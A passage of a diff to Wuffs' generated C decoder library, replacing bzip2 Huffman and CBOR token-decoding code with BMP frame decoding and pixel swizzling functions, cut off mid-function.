WUFFS_BZIP2__CLAMP_TO_5[(self->private_data.f_huffman_selectors[(v_section & 32767u)] & 7u)]; +- } +- v_bits |= (wuffs_base__peek_u32be__no_bounds_check(iop_a_src) >> v_n_bits); +- iop_a_src += ((31u - v_n_bits) >> 3u); +- v_n_bits |= 24u; +- v_table_entry = self->private_data.f_huffman_tables[v_which][(v_bits >> 24u)]; +- v_bits <<= (v_table_entry >> 12u); +- v_n_bits -= ((uint32_t)((v_table_entry >> 12u))); +- v_child = (v_table_entry & 1023u); +- while (v_child < 257u) { +- v_child = self->private_data.f_huffman_trees[v_which][v_child][(v_bits >> 31u)]; +- v_bits <<= 1u; +- if (v_n_bits <= 0u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_bmp__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- v_n_bits -= 1u; +- } +- if (v_child < 768u) { +- v_child_ff = ((uint32_t)((v_child & 255u))); +- v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); +- self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); +- self->private_data.f_letter_counts[v_output] += 1u; +- self->private_data.f_bwt[v_block_size] = v_output; +- if (v_block_size >= self->private_impl.f_max_incl_block_size) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); +- goto exit; ++ if (status.repr) { ++ goto suspend; + } +- v_block_size += 1u; +- v_run_shift = 0u; +- continue; +- } else if (v_child == 768u) { +- self->private_impl.f_decode_huffman_finished = true; +- break; +- } +- if (v_run_shift >= 23u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); +- goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } +- v_run = ((((uint32_t)(v_child)) & 3u) << v_run_shift); +- v_run_shift += 1u; +- v_i = v_block_size; +- v_j = (v_run + v_block_size); +- if (v_j > self->private_impl.f_max_incl_block_size) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); +- goto exit; ++ self->private_data.s_do_decode_frame.scratch = self->private_impl.f_padding; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_block_size = v_j; +- v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); +- self->private_data.f_letter_counts[v_mtft0] += v_run; +- while (v_i < v_j) { +- self->private_data.f_bwt[v_i] = v_mtft0; +- v_i += 1u; ++ iop_a_src += self->private_data.s_do_decode_frame.scratch; ++ if ((self->private_impl.f_width > 0u) && (self->private_impl.f_height > 0u)) { ++ self->private_impl.f_dst_x = 0u; ++ if (self->private_impl.f_top_down) { ++ self->private_impl.f_dst_y = 0u; ++ self->private_impl.f_dst_y_inc = 1u; ++ } else { ++ self->private_impl.f_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); ++ self->private_impl.f_dst_y_inc = 4294967295u; ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), ++ wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ while (true) { ++ if (self->private_impl.f_compression == 0u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_bmp__decoder__swizzle_none(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } else if (self->private_impl.f_compression < 3u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_bmp__decoder__swizzle_rle(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } else if (self->private_impl.f_compression == 3u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_bmp__decoder__swizzle_bitfields(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } else { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ v_status = wuffs_bmp__decoder__swizzle_low_bit_depth(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if (v_status.repr != wuffs_bmp__note__internal_note_short_read) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ } ++ self->private_data.s_do_decode_frame.scratch = self->private_impl.f_pending_pad; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame.scratch; ++ self->private_impl.f_pending_pad = 0u; + } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; + } +- self->private_impl.f_bits = v_bits; +- self->private_impl.f_n_bits = v_n_bits; +- self->private_impl.f_block_size = v_block_size; +- self->private_impl.f_decode_huffman_which = v_which; +- self->private_impl.f_decode_huffman_ticks = v_ticks; +- self->private_impl.f_decode_huffman_section = v_section; +- self->private_impl.f_decode_huffman_run_shift = v_run_shift; +- status = wuffs_base__make_status(NULL); +- goto ok; + +- ok: ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ + goto exit; + exit: + if (a_src && a_src->data.ptr) { +@@ -31895,24 +32895,27 @@ wuffs_bzip2__decoder__decode_huffman_fast( + return status; + } + +-// -------- func bzip2.decoder.decode_huffman_slow ++// -------- func bmp.decoder.swizzle_none + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_bzip2__decoder__decode_huffman_slow( +- wuffs_bzip2__decoder* self, ++wuffs_bmp__decoder__swizzle_none( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint32_t v_node_index = 0; +- uint16_t v_child = 0; +- uint32_t v_child_ff = 0; +- uint32_t v_i = 0; +- uint32_t v_j = 0; +- uint32_t v_output = 0; +- uint32_t v_run = 0; +- uint32_t v_mtft0 = 0; ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ uint32_t v_src_bytes_per_pixel = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_j = 0; ++ uint64_t v_n = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -31925,99 +32928,90 @@ wuffs_bzip2__decoder__decode_huffman_slow( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow[0]; +- if (coro_susp_point) { +- v_node_index = self->private_data.s_decode_huffman_slow[0].v_node_index; ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while ( ! (self->private_impl.p_decode_huffman_slow[0] != 0)) { +- if (self->private_impl.f_decode_huffman_ticks > 0u) { +- self->private_impl.f_decode_huffman_ticks -= 1u; +- } else { +- self->private_impl.f_decode_huffman_ticks = 49u; +- self->private_impl.f_decode_huffman_section += 1u; +- if (self->private_impl.f_decode_huffman_section >= self->private_impl.f_num_sections) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); +- goto exit; +- } +- self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[(self->private_data.f_huffman_selectors[(self->private_impl.f_decode_huffman_section & 32767u)] & 7u)]; ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ label__outer__continue:; ++ while (true) { ++ while (self->private_impl.f_pending_pad > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; + } +- v_node_index = 0u; +- while (true) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; +- } +- v_child = self->private_data.f_huffman_trees[self->private_impl.f_decode_huffman_which][v_node_index][(self->private_impl.f_bits >> 31u)]; +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- if (v_child < 257u) { +- v_node_index = ((uint32_t)(v_child)); +- continue; +- } else if (v_child < 768u) { +- v_child_ff = ((uint32_t)((v_child & 255u))); +- v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); +- self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); +- self->private_data.f_letter_counts[v_output] += 1u; +- self->private_data.f_bwt[self->private_impl.f_block_size] = v_output; +- if (self->private_impl.f_block_size >= self->private_impl.f_max_incl_block_size) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); +- goto exit; ++ self->private_impl.f_pending_pad -= 1u; ++ iop_a_src += 1u; ++ } ++ while (true) { ++ if (self->private_impl.f_dst_x == self->private_impl.f_width) { ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { ++ if (self->private_impl.f_height > 0u) { ++ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; + } +- self->private_impl.f_block_size += 1u; +- self->private_impl.f_decode_huffman_run_shift = 0u; +- break; +- } else if (v_child == 768u) { +- self->private_impl.f_decode_huffman_finished = true; + goto label__outer__break; ++ } else if (self->private_impl.f_pad_per_row != 0u) { ++ self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; ++ goto label__outer__continue; + } +- if (self->private_impl.f_decode_huffman_run_shift >= 23u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); ++ } ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ } ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i >= ((uint64_t)(v_dst.len))) { ++ if (self->private_impl.f_bits_per_pixel > 32u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); + goto exit; + } +- v_run = ((((uint32_t)(v_child)) & 3u) << self->private_impl.f_decode_huffman_run_shift); +- self->private_impl.f_decode_huffman_run_shift += 1u; +- v_i = self->private_impl.f_block_size; +- v_j = (v_run + self->private_impl.f_block_size); +- if (v_j > self->private_impl.f_max_incl_block_size) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); ++ v_src_bytes_per_pixel = (self->private_impl.f_bits_per_pixel / 8u); ++ if (v_src_bytes_per_pixel == 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); + goto exit; + } +- self->private_impl.f_block_size = v_j; +- v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); +- self->private_data.f_letter_counts[v_mtft0] += v_run; +- while (v_i < v_j) { +- self->private_data.f_bwt[v_i] = v_mtft0; +- v_i += 1u; ++ v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); ++ v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); ++ v_j = v_n; ++ while (v_j >= 8u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 8u); ++ } ++ v_j -= 8u; + } +- break; ++ while (v_j > 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { ++ iop_a_src += (v_src_bytes_per_pixel * 1u); ++ } ++ v_j -= 1u; ++ } ++ } else { ++ v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( ++ &self->private_impl.f_swizzler, ++ wuffs_base__slice_u8__subslice_i(v_dst, v_i), ++ v_dst_palette, ++ &iop_a_src, ++ io2_a_src); ++ } ++ if (v_n == 0u) { ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; + } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); + } +- label__outer__break:; +- +- goto ok; +- ok: +- self->private_impl.p_decode_huffman_slow[0] = 0; +- goto exit; + } ++ label__outer__break:; ++ status = wuffs_base__make_status(NULL); ++ goto ok; + +- goto suspend; +- suspend: +- self->private_impl.p_decode_huffman_slow[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_huffman_slow[0].v_node_index = v_node_index; +- ++ ok: + goto exit; + exit: + if (a_src && a_src->data.ptr) { +@@ -32027,256 +33021,33 @@ wuffs_bzip2__decoder__decode_huffman_slow( + return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_cbor__error__bad_input[] = "#cbor: bad input"; +-const char wuffs_cbor__error__unsupported_recursion_depth[] = "#cbor: unsupported recursion depth"; +-const char wuffs_cbor__error__internal_error_inconsistent_i_o[] = "#cbor: internal error: inconsistent I/O"; +-const char wuffs_cbor__error__internal_error_inconsistent_token_length[] = "#cbor: internal error: inconsistent token length"; +- +-// ---------------- Private Consts +- +-static const uint32_t +-WUFFS_CBOR__LITERALS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 8388612, 8388616, 8388610, 8388609, +-}; +- +-static const uint8_t +-WUFFS_CBOR__TOKEN_LENGTHS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1, 1, 1, 1, 1, 1, 1, 1, +- 1, 1, 1, 1, 1, 1, 1, 1, +- 1, 1, 1, 1, 1, 1, 1, 1, +- 2, 3, 5, 9, 0, 0, 0, 1, +-}; +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-// ---------------- VTables +- +-const wuffs_base__token_decoder__func_ptrs +-wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__token_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_cbor__decoder__decode_tokens), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_cbor__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_cbor__decoder__history_retain_length), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_cbor__decoder__set_quirk), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_cbor__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_cbor__decoder__initialize( +- wuffs_cbor__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } +- +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } +- } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = +- wuffs_base__token_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = +- (const void*)(&wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_cbor__decoder* +-wuffs_cbor__decoder__alloc(void) { +- wuffs_cbor__decoder* x = +- (wuffs_cbor__decoder*)(calloc(sizeof(wuffs_cbor__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_cbor__decoder__initialize( +- x, sizeof(wuffs_cbor__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} +- +-size_t +-sizeof__wuffs_cbor__decoder(void) { +- return sizeof(wuffs_cbor__decoder); +-} +- +-// ---------------- Function Implementations +- +-// -------- func cbor.decoder.get_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_cbor__decoder__get_quirk( +- const wuffs_cbor__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func cbor.decoder.set_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_cbor__decoder__set_quirk( +- wuffs_cbor__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +-} +- +-// -------- func cbor.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_cbor__decoder__history_retain_length( +- const wuffs_cbor__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func cbor.decoder.workbuf_len +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_cbor__decoder__workbuf_len( +- const wuffs_cbor__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- +- return wuffs_base__utility__empty_range_ii_u64(); +-} +- +-// -------- func cbor.decoder.decode_tokens ++// -------- func bmp.decoder.swizzle_rle + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_cbor__decoder__decode_tokens( +- wuffs_cbor__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_rle( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint64_t v_string_length = 0; +- uint64_t v_n64 = 0; +- uint32_t v_depth = 0; +- uint32_t v_stack_byte = 0; +- uint32_t v_stack_bit = 0; +- uint32_t v_stack_val = 0; +- uint32_t v_token_length = 0; +- uint32_t v_vminor = 0; +- uint32_t v_vminor_alt = 0; +- uint32_t v_continued = 0; +- uint8_t v_c = 0; +- uint8_t v_c_major = 0; +- uint8_t v_c_minor = 0; +- bool v_tagged = false; +- uint8_t v_indefinite_string_major_type = 0; ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_row = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_n = 0; ++ uint32_t v_p0 = 0; ++ uint8_t v_code = 0; ++ uint8_t v_indexes[2] = {0}; ++ uint32_t v_rle_state = 0; ++ uint32_t v_chunk_bits = 0; ++ uint32_t v_chunk_count = 0; + +- wuffs_base__token* iop_a_dst = NULL; +- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -32288,1231 +33059,590 @@ wuffs_cbor__decoder__decode_tokens( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_tokens[0]; +- if (coro_susp_point) { +- v_string_length = self->private_data.s_decode_tokens[0].v_string_length; +- v_depth = self->private_data.s_decode_tokens[0].v_depth; +- v_tagged = self->private_data.s_decode_tokens[0].v_tagged; +- v_indefinite_string_major_type = self->private_data.s_decode_tokens[0].v_indefinite_string_major_type; ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if (self->private_impl.f_end_of_data) { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); ++ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_rle_state = self->private_impl.f_rle_state; ++ label__outer__continue:; ++ while (true) { ++ v_row = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { ++ v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); + } +- label__outer__continue:; ++ label__middle__continue:; + while (true) { ++ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); ++ if (v_i <= ((uint64_t)(v_row.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_row, v_i); ++ } else { ++ v_dst = wuffs_base__utility__empty_slice_u8(); ++ } + while (true) { +- do { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- goto label__outer__continue; ++ if (v_rle_state == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; + } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ if (v_code == 0u) { ++ v_rle_state = 2u; ++ continue; ++ } ++ self->private_impl.f_rle_length = ((uint32_t)(v_code)); ++ v_rle_state = 1u; ++ continue; ++ } else if (v_rle_state == 1u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { ++ break; ++ } ++ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ if (self->private_impl.f_bits_per_pixel == 8u) { ++ v_p0 = 0u; ++ while (v_p0 < self->private_impl.f_rle_length) { ++ 